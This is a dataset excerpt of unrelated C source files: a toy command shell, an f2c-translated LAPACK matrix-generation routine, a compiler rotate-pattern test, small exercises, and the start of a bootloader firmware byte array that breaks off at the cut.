file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
|---|---|
the_stack_data/154828667.c | #include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include "string.h"
#include <sys/wait.h>
#include <stdlib.h>
void myCommand(char *command){
int pid = fork();
if (pid == 0) {
char arr[10][10];
int counter = 0;
for (int i = 0; i < strlen(command); i++) {
char tmp = command[i];
if (tmp != ' ') {
strncat(arr[counter], &tmp, 1);
} else {
counter += 1;
}
}
char **arguments = malloc(sizeof(char*) * (counter + 2));
for (int i = 0; i < counter + 1; ++i) {
arguments[i] = malloc(sizeof(char) * strlen(arr[i]));
strcpy(arguments[i], arr[i]);
}
// Add null terminator
arguments[counter + 1] = '\0';
execvp(arguments[0], arguments);
}
waitpid(pid, NULL, 0);
}
int main() {
printf("> ");
while (1){
char in[256];
char endLine;
scanf("%[^\n]%c", in, &endLine);
if (strcmp(in, "exit") == 0){
break;
}
myCommand(in);
printf("> ");
}
return 0;
}
|
the_stack_data/119940.c | int main(){
int x = 1;
switch(x){
default:
break;
}
}
|
the_stack_data/62638506.c | /* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle_() continue;
#define myceiling_(w) ceil(w)
#define myhuge_(w) HUGE_VAL
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc_(w,s,e,n) dmaxloc_(w,*(s),*(e),n)
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__3 = 3;
static integer c__1 = 1;
static doublereal c_b12 = 0.;
static doublereal c_b19 = -1.;
static doublereal c_b26 = 1.;
/* > \brief \b DLAGSY */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* Definition: */
/* =========== */
/* SUBROUTINE DLAGSY( N, K, D, A, LDA, ISEED, WORK, INFO ) */
/* INTEGER INFO, K, LDA, N */
/* INTEGER ISEED( 4 ) */
/* DOUBLE PRECISION A( LDA, * ), D( * ), WORK( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > DLAGSY generates a real symmetric matrix A, by pre- and post- */
/* > multiplying a real diagonal matrix D with a random orthogonal matrix: */
/* > A = U*D*U'. The semi-bandwidth may then be reduced to k by additional */
/* > orthogonal transformations. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] K */
/* > \verbatim */
/* > K is INTEGER */
/* > The number of nonzero subdiagonals within the band of A. */
/* > 0 <= K <= N-1. */
/* > \endverbatim */
/* > */
/* > \param[in] D */
/* > \verbatim */
/* > D is DOUBLE PRECISION array, dimension (N) */
/* > The diagonal elements of the diagonal matrix D. */
/* > \endverbatim */
/* > */
/* > \param[out] A */
/* > \verbatim */
/* > A is DOUBLE PRECISION array, dimension (LDA,N) */
/* > The generated n by n symmetric matrix A (the full matrix is */
/* > stored). */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= N. */
/* > \endverbatim */
/* > */
/* > \param[in,out] ISEED */
/* > \verbatim */
/* > ISEED is INTEGER array, dimension (4) */
/* > On entry, the seed of the random number generator; the array */
/* > elements must be between 0 and 4095, and ISEED(4) must be */
/* > odd. */
/* > On exit, the seed is updated. */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is DOUBLE PRECISION array, dimension (2*N) */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup double_matgen */
/* ===================================================================== */
/* Subroutine */ int dlagsy_(integer *n, integer *k, doublereal *d__,
doublereal *a, integer *lda, integer *iseed, doublereal *work,
integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3;
doublereal d__1;
/* Local variables */
extern /* Subroutine */ int dger_(integer *, integer *, doublereal *,
doublereal *, integer *, doublereal *, integer *, doublereal *,
integer *);
extern doublereal ddot_(integer *, doublereal *, integer *, doublereal *,
integer *), dnrm2_(integer *, doublereal *, integer *);
extern /* Subroutine */ int dsyr2_(char *, integer *, doublereal *,
doublereal *, integer *, doublereal *, integer *, doublereal *,
integer *);
integer i__, j;
doublereal alpha;
extern /* Subroutine */ int dscal_(integer *, doublereal *, doublereal *,
integer *), dgemv_(char *, integer *, integer *, doublereal *,
doublereal *, integer *, doublereal *, integer *, doublereal *,
doublereal *, integer *), daxpy_(integer *, doublereal *,
doublereal *, integer *, doublereal *, integer *), dsymv_(char *,
integer *, doublereal *, doublereal *, integer *, doublereal *,
integer *, doublereal *, doublereal *, integer *);
doublereal wa, wb, wn;
extern /* Subroutine */ int xerbla_(char *, integer *), dlarnv_(
integer *, integer *, integer *, doublereal *);
doublereal tau;
/* -- LAPACK auxiliary routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Test the input arguments */
/* Parameter adjustments */
--d__;
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
--iseed;
--work;
/* Function Body */
*info = 0;
if (*n < 0) {
*info = -1;
} else if (*k < 0 || *k > *n - 1) {
*info = -2;
} else if (*lda < f2cmax(1,*n)) {
*info = -5;
}
if (*info < 0) {
i__1 = -(*info);
xerbla_("DLAGSY", &i__1);
return 0;
}
/* initialize lower triangle of A to diagonal matrix */
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = *n;
for (i__ = j + 1; i__ <= i__2; ++i__) {
a[i__ + j * a_dim1] = 0.;
/* L10: */
}
/* L20: */
}
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
a[i__ + i__ * a_dim1] = d__[i__];
/* L30: */
}
/* Generate lower triangle of symmetric matrix */
for (i__ = *n - 1; i__ >= 1; --i__) {
/* generate random reflection */
i__1 = *n - i__ + 1;
dlarnv_(&c__3, &iseed[1], &i__1, &work[1]);
i__1 = *n - i__ + 1;
wn = dnrm2_(&i__1, &work[1], &c__1);
wa = d_sign(&wn, &work[1]);
if (wn == 0.) {
tau = 0.;
} else {
wb = work[1] + wa;
i__1 = *n - i__;
d__1 = 1. / wb;
dscal_(&i__1, &d__1, &work[2], &c__1);
work[1] = 1.;
tau = wb / wa;
}
/* apply random reflection to A(i:n,i:n) from the left */
/* and the right */
/* compute y := tau * A * u */
i__1 = *n - i__ + 1;
dsymv_("Lower", &i__1, &tau, &a[i__ + i__ * a_dim1], lda, &work[1], &
c__1, &c_b12, &work[*n + 1], &c__1);
/* compute v := y - 1/2 * tau * ( y, u ) * u */
i__1 = *n - i__ + 1;
alpha = tau * -.5 * ddot_(&i__1, &work[*n + 1], &c__1, &work[1], &
c__1);
i__1 = *n - i__ + 1;
daxpy_(&i__1, &alpha, &work[1], &c__1, &work[*n + 1], &c__1);
/* apply the transformation as a rank-2 update to A(i:n,i:n) */
i__1 = *n - i__ + 1;
dsyr2_("Lower", &i__1, &c_b19, &work[1], &c__1, &work[*n + 1], &c__1,
&a[i__ + i__ * a_dim1], lda);
/* L40: */
}
/* Reduce number of subdiagonals to K */
i__1 = *n - 1 - *k;
for (i__ = 1; i__ <= i__1; ++i__) {
/* generate reflection to annihilate A(k+i+1:n,i) */
i__2 = *n - *k - i__ + 1;
wn = dnrm2_(&i__2, &a[*k + i__ + i__ * a_dim1], &c__1);
wa = d_sign(&wn, &a[*k + i__ + i__ * a_dim1]);
if (wn == 0.) {
tau = 0.;
} else {
wb = a[*k + i__ + i__ * a_dim1] + wa;
i__2 = *n - *k - i__;
d__1 = 1. / wb;
dscal_(&i__2, &d__1, &a[*k + i__ + 1 + i__ * a_dim1], &c__1);
a[*k + i__ + i__ * a_dim1] = 1.;
tau = wb / wa;
}
/* apply reflection to A(k+i:n,i+1:k+i-1) from the left */
i__2 = *n - *k - i__ + 1;
i__3 = *k - 1;
dgemv_("Transpose", &i__2, &i__3, &c_b26, &a[*k + i__ + (i__ + 1) *
a_dim1], lda, &a[*k + i__ + i__ * a_dim1], &c__1, &c_b12, &
work[1], &c__1);
i__2 = *n - *k - i__ + 1;
i__3 = *k - 1;
d__1 = -tau;
dger_(&i__2, &i__3, &d__1, &a[*k + i__ + i__ * a_dim1], &c__1, &work[
1], &c__1, &a[*k + i__ + (i__ + 1) * a_dim1], lda);
/* apply reflection to A(k+i:n,k+i:n) from the left and the right */
/* compute y := tau * A * u */
i__2 = *n - *k - i__ + 1;
dsymv_("Lower", &i__2, &tau, &a[*k + i__ + (*k + i__) * a_dim1], lda,
&a[*k + i__ + i__ * a_dim1], &c__1, &c_b12, &work[1], &c__1);
/* compute v := y - 1/2 * tau * ( y, u ) * u */
i__2 = *n - *k - i__ + 1;
alpha = tau * -.5 * ddot_(&i__2, &work[1], &c__1, &a[*k + i__ + i__ *
a_dim1], &c__1);
i__2 = *n - *k - i__ + 1;
daxpy_(&i__2, &alpha, &a[*k + i__ + i__ * a_dim1], &c__1, &work[1], &
c__1);
/* apply symmetric rank-2 update to A(k+i:n,k+i:n) */
i__2 = *n - *k - i__ + 1;
dsyr2_("Lower", &i__2, &c_b19, &a[*k + i__ + i__ * a_dim1], &c__1, &
work[1], &c__1, &a[*k + i__ + (*k + i__) * a_dim1], lda);
a[*k + i__ + i__ * a_dim1] = -wa;
i__2 = *n;
for (j = *k + i__ + 1; j <= i__2; ++j) {
a[j + i__ * a_dim1] = 0.;
/* L50: */
}
/* L60: */
}
/* Store full symmetric matrix */
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = *n;
for (i__ = j + 1; i__ <= i__2; ++i__) {
a[j + i__ * a_dim1] = a[i__ + j * a_dim1];
/* L70: */
}
/* L80: */
}
return 0;
/* End of DLAGSY */
} /* dlagsy_ */
|
the_stack_data/297967.c | #include <stdlib.h>
/* This tests the rotate patterns that some machines support. */
#include <limits.h>
#ifndef CHAR_BIT
#define CHAR_BIT 8
#endif
#define ROR(a,b) (((a) >> (b)) | ((a) << ((sizeof (a) * CHAR_BIT) - (b))))
#define ROL(a,b) (((a) << (b)) | ((a) >> ((sizeof (a) * CHAR_BIT) - (b))))
#define CHAR_VALUE ((unsigned char)0xf234U)
#define SHORT_VALUE ((unsigned short)0xf234U)
#define INT_VALUE 0xf234U
#define LONG_VALUE 0xf2345678LU
#define LL_VALUE 0xf2345678abcdef0LLU
#define SHIFT1 4
#define SHIFT2 ((sizeof (long long) * CHAR_BIT) - SHIFT1)
unsigned char uc = CHAR_VALUE;
unsigned short us = SHORT_VALUE;
unsigned int ui = INT_VALUE;
unsigned long ul = LONG_VALUE;
unsigned long long ull = LL_VALUE;
int shift1 = SHIFT1;
int shift2 = SHIFT2;
int main ()
{
if (ROR (uc, shift1) != ROR (CHAR_VALUE, SHIFT1))
abort ();
if (ROR (uc, SHIFT1) != ROR (CHAR_VALUE, SHIFT1))
abort ();
if (ROR (us, shift1) != ROR (SHORT_VALUE, SHIFT1))
abort ();
if (ROR (us, SHIFT1) != ROR (SHORT_VALUE, SHIFT1))
abort ();
if (ROR (ui, shift1) != ROR (INT_VALUE, SHIFT1))
abort ();
if (ROR (ui, SHIFT1) != ROR (INT_VALUE, SHIFT1))
abort ();
if (ROR (ul, shift1) != ROR (LONG_VALUE, SHIFT1))
abort ();
if (ROR (ul, SHIFT1) != ROR (LONG_VALUE, SHIFT1))
abort ();
if (ROR (ull, shift1) != ROR (LL_VALUE, SHIFT1))
abort ();
if (ROR (ull, SHIFT1) != ROR (LL_VALUE, SHIFT1))
abort ();
if (ROR (ull, shift2) != ROR (LL_VALUE, SHIFT2))
abort ();
if (ROR (ull, SHIFT2) != ROR (LL_VALUE, SHIFT2))
abort ();
if (ROL (uc, shift1) != ROL (CHAR_VALUE, SHIFT1))
abort ();
if (ROL (uc, SHIFT1) != ROL (CHAR_VALUE, SHIFT1))
abort ();
if (ROL (us, shift1) != ROL (SHORT_VALUE, SHIFT1))
abort ();
if (ROL (us, SHIFT1) != ROL (SHORT_VALUE, SHIFT1))
abort ();
if (ROL (ui, shift1) != ROL (INT_VALUE, SHIFT1))
abort ();
if (ROL (ui, SHIFT1) != ROL (INT_VALUE, SHIFT1))
abort ();
if (ROL (ul, shift1) != ROL (LONG_VALUE, SHIFT1))
abort ();
if (ROL (ul, SHIFT1) != ROL (LONG_VALUE, SHIFT1))
abort ();
if (ROL (ull, shift1) != ROL (LL_VALUE, SHIFT1))
abort ();
if (ROL (ull, SHIFT1) != ROL (LL_VALUE, SHIFT1))
abort ();
if (ROL (ull, shift2) != ROL (LL_VALUE, SHIFT2))
abort ();
if (ROL (ull, SHIFT2) != ROL (LL_VALUE, SHIFT2))
abort ();
exit (0);
}
|
the_stack_data/238125.c | /*-
* Copyright (c) 1985, 1993
* The Regents of the University of California. All rights reserved.
*
* %sccs.include.proprietary.c%
*/
#ifndef lint
static char sccsid[] = "@(#)close.c 8.1 (Berkeley) 06/04/93";
#endif /* not lint */
#include <stdio.h>
closevt(){
putch(037);
fflush(stdout);
}
closepl(){
putch(037);
fflush(stdout);
}
|
the_stack_data/983573.c | #include <stdio.h>
int main(){
int num, pos, neg;
pos = 0;
neg = 0;
for(int i=0;i<=4;i++){
printf("Enter a number: ");
scanf("%d", &num);
printf("\n");
if(num > 0){
pos += 1;
}else if(num < 0){
neg += 1;
}
}
printf("\nCount of positive numbers: %d", pos);
printf("\nCount of negative numbers: %d", neg);
return 0;
} |
the_stack_data/38829.c | /* #include <math.h> */
/* #include <errno.h> */
/* double log(double x){ */
/* int n = 1; */
/* double tmp1, tmp2, result = 0; */
/* if(x < 0){ */
/* errno = EDOM; /\* out of domain *\/ */
/* return 0.0; */
/* } */
/* if(x == 0){ */
/* /\* out of range. this returns the limit of log of x, as x approaches +0. *\/ */
/* errno = ERANGE; */
/* return -INFINITY; */
/* } */
/* if( isinf(x) ){ */
/* errno = ERANGE; */
/* return +INFINITY; */
/* } */
/* while(x >= 2){ /\* to x<2 *\/ /\* ln(a)=ln(a/2)+ln(2) *\/ */
/* x /= 2; */
/* result += LN2; */
/* } */
/* while(x < 1){ /\* to x>=1 *\/ /\* ln(a)= ln(2a)-ln(2) *\/ */
/* x *= 2; */
/* result -= LN2; */
/* } */
/* /\* 1<=x<2(?): ln(x) = sigma (2/(2k+1))*(((x-1)/(x+1))^(2k+1)) *\/ */
/* x = (x-1)/(x+1); */
/* tmp1 = 2*x; */
/* x = x*x; */
/* do{ */
/* tmp2 = result; */
/* result += tmp1/n; */
/* tmp1 *= x; */
/* n += 2; */
/* } while(result != tmp2); */
/* return result; */
/* } */
|
the_stack_data/170452606.c | const unsigned char bootloader_platform_6_bin[] = {
0x00, 0x00, 0x02, 0x20, 0x3d, 0x35, 0x00, 0x08, 0xdf, 0x13, 0x00, 0x08,
0xdd, 0x13, 0x00, 0x08, 0xdb, 0x13, 0x00, 0x08, 0xd9, 0x13, 0x00, 0x08,
0xd7, 0x13, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd5, 0x13, 0x00, 0x08,
0xd3, 0x13, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0xd1, 0x13, 0x00, 0x08,
0x25, 0x13, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x37, 0x35, 0x00, 0x08, 0x31, 0x35, 0x00, 0x08,
0x2b, 0x35, 0x00, 0x08, 0x25, 0x35, 0x00, 0x08, 0x1f, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0xf7, 0x34, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0xe9, 0x14, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0xc1, 0x34, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08, 0x85, 0x35, 0x00, 0x08,
